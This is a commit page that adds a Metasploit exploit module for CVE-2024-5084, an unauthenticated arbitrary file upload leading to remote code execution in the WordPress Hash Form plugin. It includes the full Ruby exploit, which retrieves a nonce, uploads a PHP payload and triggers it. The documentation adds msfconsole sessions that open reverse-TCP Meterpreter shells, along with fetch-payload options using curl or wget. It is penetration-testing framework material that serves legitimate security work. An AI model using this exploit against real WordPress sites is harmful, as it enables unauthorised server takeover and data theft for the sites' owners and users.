Skip to content

Commit bea708d

Browse files
committed
Add exploit module for CVE-2024-5084: WordPress Hash Form Plugin RCE
1 parent 12d59e0 commit bea708d

File tree

4 files changed

+378
-0
lines changed

4 files changed

+378
-0
lines changed

data/wordlists/wp-exploitable-plugins.txt

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -61,3 +61,4 @@ woocommerce-payments
6161
file-manager-advanced-shortcode
6262
royal-elementor-addons
6363
backup-backup
64+
hash-form

data/wordlists/wp-plugins.txt

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -34566,6 +34566,7 @@ hash-comment-ip
3456634566
hash-converter
3456734567
hash-coupon
3456834568
hash-elements
34569+
hash-form
3456934570
hash-hash-tags
3457034571
hash-link-scroll-offset
3457134572
hashbar-wp-notification-bar
Lines changed: 222 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,222 @@
1+
## Vulnerable Application
2+
3+
This Metasploit module exploits a Remote Code Execution vulnerability in WordPress Hash Form
4+
plugin, versions prior to 1.11.
5+
The vulnerability is due to an unauthenticated file upload flaw in the plugin.
6+
To replicate a vulnerable environment for testing:
7+
8+
1. Install WordPress.
9+
2. Download and install the Hash Form plugin, ensuring the version is below 1.11.
10+
3. Verify that the plugin is activated and accessible on the local network.
11+
4. Create any form
12+
13+
## Verification Steps
14+
15+
1. Set up a WordPress instance with the Hash Form plugin (version < 1.11).
16+
2. Launch `msfconsole` in your Metasploit framework.
17+
3. Use the module: `use exploit/multi/http/wp_hash_form_rce`.
18+
4. Set `RHOSTS` to the local IP address or hostname of the target.
19+
5. Configure necessary options such as `TARGETURI`, `SSL`, and `RPORT`.
20+
6. Execute the exploit using the `run` or `exploit` command.
21+
7. If the target is vulnerable, the module will execute the specified payload.
22+
23+
## Options
24+
25+
This module offers several options:
26+
27+
#### RHOSTS
28+
29+
- **Description**: Target address or range of addresses.
30+
- **Required**: Yes.
31+
- **Default Value**: None (user must specify).
32+
33+
#### RPORT
34+
35+
- **Description**: Target port (TCP) for the WordPress application.
36+
- **Required**: Yes.
37+
- **Default Value**: 443.
38+
39+
#### SSL
40+
41+
- **Description**: Determines if SSL/TLS should be used.
42+
- **Required**: Yes.
43+
- **Default Value**: True.
44+
45+
#### TARGETURI
46+
47+
- **Description**: Base path of the WordPress application.
48+
- **Required**: Yes.
49+
- **Default Value**: `/`.
50+
51+
## Scenarios
52+
53+
### Successful Exploitation Against Local WordPress with Hash Form 1.10
54+
55+
**Setup**:
56+
57+
- Local WordPress instance with Hash Form version 1.10.
58+
- Metasploit Framework.
59+
60+
**Steps**:
61+
62+
1. Start `msfconsole`.
63+
2. Load the module:
64+
```
65+
use exploit/multi/http/wp_hash_form_rce
66+
```
67+
4. Set `RHOSTS` to the local IP (e.g., 192.168.1.11).
68+
5. Configure other necessary options (TARGETURI, SSL, etc.).
69+
6. Launch the exploit:
70+
```
71+
exploit
72+
```
73+
74+
**Expected Results**:
75+
76+
With `php/meterpreter/reverse_tcp`
77+
78+
```
79+
msf6 > search wp_hash_form_rce
80+
81+
Matching Modules
82+
================
83+
84+
# Name Disclosure Date Rank Check Description
85+
- ---- --------------- ---- ----- -----------
86+
0 exploit/multi/http/wp_hash_form_rce 2024-05-23 excellent Yes WordPress Hash Form Plugin RCE
87+
1 \_ target: Automatic . . . .
88+
2 \_ target: PHP In-Memory . . . .
89+
3 \_ target: Unix/Linux Command Shell . . . .
90+
4 \_ target: Windows Command Shell . . . .
91+
92+
93+
Interact with a module by name or index. For example info 4, use 4 or use exploit/multi/http/wp_hash_form_rce
94+
After interacting with a module you can manually set a TARGET with set TARGET 'Windows Command Shell'
95+
96+
msf6 > use 0
97+
[*] No payload configured, defaulting to php/meterpreter/reverse_tcp
98+
msf6 exploit(multi/http/wp_hash_form_rce) > options
99+
100+
Module options (exploit/multi/http/wp_hash_form_rce):
101+
102+
Name Current Setting Required Description
103+
---- --------------- -------- -----------
104+
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
105+
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
106+
RPORT 80 yes The target port (TCP)
107+
SSL false no Negotiate SSL/TLS for outgoing connections
108+
TARGETURI / yes The base path to the wordpress application
109+
VHOST no HTTP server virtual host
110+
111+
112+
Payload options (php/meterpreter/reverse_tcp):
113+
114+
Name Current Setting Required Description
115+
---- --------------- -------- -----------
116+
LHOST 192.168.1.36 yes The listen address (an interface may be specified)
117+
LPORT 4444 yes The listen port
118+
119+
120+
Exploit target:
121+
122+
Id Name
123+
-- ----
124+
0 Automatic
125+
126+
127+
128+
View the full module info with the info, or info -d command.
129+
130+
msf6 exploit(multi/http/wp_hash_form_rce) > set rhosts 127.0.0.1
131+
rhosts => 127.0.0.1
132+
msf6 exploit(multi/http/wp_hash_form_rce) > set rport 8080
133+
rport => 8080
134+
msf6 exploit(multi/http/wp_hash_form_rce) > set target 1
135+
target => 1
136+
msf6 exploit(multi/http/wp_hash_form_rce) > exploit
137+
138+
[*] Started reverse TCP handler on 192.168.1.36:4444
139+
[*] Running automatic check ("set AutoCheck false" to disable)
140+
[+] Detected Hash Form plugin version: 1.1.0
141+
[+] The target appears to be vulnerable.
142+
[*] Attempting to retrieve nonce from the target...
143+
[+] Nonce retrieved: c037ee0b47
144+
[*] Uploading PHP payload using the retrieved nonce...
145+
[+] PHP payload uploaded successfully to http://localhost:8080/wp-content/uploads/hashform/temp/zumchnzt.php
146+
[*] Triggering the payload at http://localhost:8080/wp-content/uploads/hashform/temp/zumchnzt.php...
147+
[*] Sending stage (39927 bytes) to 172.20.0.3
148+
[*] Meterpreter session 1 opened (192.168.1.36:4444 -> 172.20.0.3:52596) at 2024-05-28 17:52:51 +0200
149+
150+
meterpreter > sysinfo
151+
Computer : 92b664be9b0c
152+
OS : Linux 92b664be9b0c 5.15.0-91-generic #101-Ubuntu SMP Tue Nov 14 13:30:08 UTC 2023 x86_64
153+
Meterpreter : php/linux
154+
```
155+
156+
With `cmd/linux/http/x64/meterpreter/reverse_tcp`:
157+
158+
```
159+
msf6 exploit(multi/http/wp_hash_form_rce) > options
160+
161+
Module options (exploit/multi/http/wp_hash_form_rce):
162+
163+
Name Current Setting Required Description
164+
---- --------------- -------- -----------
165+
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
166+
RHOSTS 127.0.0.1 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
167+
RPORT 8080 yes The target port (TCP)
168+
SSL false no Negotiate SSL/TLS for outgoing connections
169+
TARGETURI / yes The base path to the wordpress application
170+
VHOST no HTTP server virtual host
171+
172+
173+
Payload options (cmd/linux/http/x64/meterpreter/reverse_tcp):
174+
175+
Name Current Setting Required Description
176+
---- --------------- -------- -----------
177+
FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET)
178+
FETCH_DELETE false yes Attempt to delete the binary after execution
179+
FETCH_FILENAME KtElgOyozC no Name to use on remote system when storing payload; cannot contain spaces or slashes
180+
FETCH_SRVHOST no Local IP to use for serving payload
181+
FETCH_SRVPORT 5555 yes Local port to use for serving payload
182+
FETCH_URIPATH no Local URI to use for serving payload
183+
FETCH_WRITABLE_DIR yes Remote writable dir to store payload; cannot contain spaces
184+
LHOST 192.168.1.36 yes The listen address (an interface may be specified)
185+
LPORT 4444 yes The listen port
186+
187+
188+
Exploit target:
189+
190+
Id Name
191+
-- ----
192+
2 Unix/Linux Command Shell
193+
194+
195+
196+
View the full module info with the info, or info -d command.
197+
198+
msf6 exploit(multi/http/wp_hash_form_rce) > exploit
199+
200+
[*] Started reverse TCP handler on 192.168.1.36:4444
201+
[*] Running automatic check ("set AutoCheck false" to disable)
202+
[+] Detected Hash Form plugin version: 1.1.0
203+
[+] The target appears to be vulnerable.
204+
[*] Attempting to retrieve nonce from the target...
205+
[+] Nonce retrieved: c037ee0b47
206+
[*] Uploading PHP payload using the retrieved nonce...
207+
[+] PHP payload uploaded successfully to http://localhost:8080/wp-content/uploads/hashform/temp/roeylnhj.php
208+
[*] Triggering the payload at http://localhost:8080/wp-content/uploads/hashform/temp/roeylnhj.php...
209+
[*] Sending stage (3045380 bytes) to 172.20.0.3
210+
[*] Meterpreter session 1 opened (192.168.1.36:4444 -> 172.20.0.3:53478) at 2024-05-28 18:03:35 +0200
211+
212+
meterpreter > sysinfo
213+
Computer : 172.20.0.3
214+
OS : Debian 12.5 (Linux 5.15.0-91-generic)
215+
Architecture : x64
216+
BuildTuple : x86_64-linux-musl
217+
Meterpreter : x64/linux
218+
```
219+
220+
- The module attempts to retrieve a nonce from the local server.
221+
- It then uploads and executes the payload.
222+
- If successful, control over the local WordPress instance is gained, depending on the payload used.
Lines changed: 154 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,154 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Exploit::Remote
7+
Rank = ExcellentRanking
8+
9+
include Msf::Exploit::Remote::HttpClient
10+
include Msf::Exploit::Remote::HTTP::Wordpress
11+
prepend Msf::Exploit::Remote::AutoCheck
12+
13+
def initialize(info = {})
14+
super(
15+
update_info(
16+
info,
17+
'Name' => 'WordPress Hash Form Plugin RCE',
18+
'Description' => %q{
19+
The Hash Form – Drag & Drop Form Builder plugin for WordPress suffers from a critical vulnerability
20+
due to missing file type validation in the file_upload_action function. This vulnerability exists
21+
in all versions up to and including 1.1.0. Unauthenticated attackers can exploit this flaw to upload arbitrary
22+
files, including PHP scripts, to the server, potentially allowing for remote code execution on the affected
23+
WordPress site. This module targets multiple platforms by adapting payload delivery and execution based on the
24+
server environment.
25+
},
26+
'Author' => [
27+
'Francesco Carlucci', # Vulnerability discovery
28+
'Valentin Lobstein' # Metasploit module
29+
],
30+
'License' => MSF_LICENSE,
31+
'References' => [
32+
['CVE', '2024-5084'],
33+
['URL', 'https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/hash-form/hash-form-drag-drop-form-builder-110-unauthenticated-arbitrary-file-upload-to-remote-code-execution'],
34+
],
35+
'Platform' => ['php', 'unix', 'linux', 'win'],
36+
'Arch' => [ARCH_PHP, ARCH_CMD],
37+
'Targets' => [
38+
[
39+
'PHP In-Memory', {
40+
'Platform' => 'php',
41+
'Arch' => ARCH_PHP
42+
# tested with php/meterpreter/reverse_tcp
43+
}
44+
],
45+
[
46+
'Unix/Linux Command Shell', {
47+
'Platform' => ['unix', 'linux'],
48+
'Arch' => ARCH_CMD
49+
# tested with cmd/linux/http/x64/meterpreter/reverse_tcp
50+
}
51+
],
52+
[
53+
'Windows Command Shell', {
54+
'Platform' => 'win',
55+
'Arch' => ARCH_CMD
56+
# tested with cmd/windows/http/x64/meterpreter/reverse_tcp
57+
}
58+
]
59+
],
60+
'Privileged' => false,
61+
'DisclosureDate' => '2024-05-23',
62+
'Notes' => {
63+
'Stability' => [CRASH_SAFE],
64+
'Reliability' => [REPEATABLE_SESSION],
65+
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
66+
}
67+
)
68+
)
69+
end
70+
71+
def check
72+
return CheckCode::Unknown('WordPress does not appear to be online.') unless wordpress_and_online?
73+
74+
plugin_check_code = check_plugin_version_from_readme('hash-form', '1.1.1')
75+
return CheckCode::Unknown('Hash Form plugin does not appear to be installed.') unless plugin_check_code
76+
return CheckCode::Detected('Hash Form plugin is installed but the version is unknown.') if plugin_check_code.code == 'detected'
77+
78+
plugin_version = plugin_check_code.details[:version]
79+
return CheckCode::Safe("Hash Form plugin is version: #{plugin_version}, which is not vulnerable.") unless plugin_check_code.code == 'appears'
80+
81+
print_good("Detected Hash Form plugin version: #{plugin_version}")
82+
CheckCode::Appears
83+
end
84+
85+
def exploit
86+
print_status('Attempting to retrieve nonce from the target...')
87+
nonce = get_nonce
88+
89+
fail_with(Failure::NoTarget, 'Failed to retrieve the nonce necessary for file upload. The target may not be vulnerable or the Hash Form plugin might not be active.') unless nonce
90+
91+
print_good("Nonce retrieved: #{nonce}")
92+
print_status('Uploading PHP payload using the retrieved nonce...')
93+
94+
file_url = upload_php_file(nonce)
95+
fail_with(Failure::UnexpectedReply, 'Failed to upload the PHP payload. Check file permissions and server settings.') unless file_url
96+
97+
print_good("PHP payload uploaded successfully to #{file_url}")
98+
trigger_payload(file_url)
99+
end
100+
101+
def get_nonce
102+
uri = normalize_uri(target_uri.path, 'wp-admin', 'admin-ajax.php')
103+
res = send_request_cgi({
104+
'method' => 'GET',
105+
'uri' => uri,
106+
'vars_get' => {
107+
'action' => 'hashform_preview',
108+
'form' => 1
109+
}
110+
})
111+
112+
return nil unless res && res.code == 200
113+
114+
script_content = res.body.match(%r{<script id="frontend-js-extra"[^>]*>([\s\S]*?)</script>})
115+
return nil unless script_content && script_content[1]
116+
117+
nonce_match = script_content[1].match(/"ajax_nounce":"([a-f0-9]+)"/)
118+
nonce_match ? nonce_match[1] : nil
119+
end
120+
121+
def upload_php_file(nonce)
122+
file_content = "<?php #{target['Arch'] == ARCH_PHP ? payload.encoded : "system(base64_decode('#{Rex::Text.encode_base64(payload.encoded)}'));"} ?>"
123+
file_name = "#{Rex::Text.rand_text_alpha_lower(8)}.php"
124+
125+
res = send_request_cgi({
126+
'method' => 'POST',
127+
'uri' => normalize_uri(target_uri.path, 'wp-admin', 'admin-ajax.php'),
128+
'ctype' => 'application/octet-stream',
129+
'vars_get' => {
130+
'action' => 'hashform_file_upload_action',
131+
'file_uploader_nonce' => nonce,
132+
'allowedExtensions[0]' => 'php',
133+
'sizeLimit' => 1048576,
134+
'qqfile' => file_name
135+
},
136+
'data' => file_content
137+
})
138+
139+
if res && res.code == 200
140+
json_response = res.get_json_document
141+
return json_response['url'] if json_response && json_response['url']
142+
end
143+
nil
144+
end
145+
146+
def trigger_payload(url)
147+
print_status("Triggering the payload at #{url}...")
148+
uri = URI.parse(url)
149+
send_request_cgi({
150+
'method' => 'GET',
151+
'uri' => uri.path
152+
})
153+
end
154+
end

0 commit comments

Comments
 (0)